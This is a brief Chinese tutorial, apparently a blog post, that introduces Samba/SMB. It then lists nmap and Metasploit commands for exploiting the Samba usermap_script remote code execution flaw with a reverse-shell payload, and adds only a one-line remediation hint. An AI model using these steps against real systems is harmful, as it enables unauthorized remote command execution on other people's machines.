samba介绍 samba是在linux与UNIX系统上实现SMB协议(文件共享协议,Server Messages Block,信息服务块)的一个免费软件。由服务端和客户端(C/S)程序构成。SMB是在局域网共享文件和打印机的一种通讯协议,他主要为局域网内的不同计算机之间提供文件、打印机等资源的共享服务,一般运行在139、445端口上。 探测目标samba 使用nmap -sV IP地址 -p 端口号 探测目标端口服务版本信息。 metasploit漏洞利用 使用metasploit集成的利用samba usermap RCE脚本 msfconsole use exploit/multi/samba/usermap_script show options set rhost 目标IP地址 show options show payloads //查找可以利用的漏洞 set payload cmd/unix/reverse show options set lhost 本地IP地址 //接受反弹的IP地址 run/exploit //运行 漏洞防御修复 在metasploit中show info可以查看漏洞信息根据漏洞信息然后修复。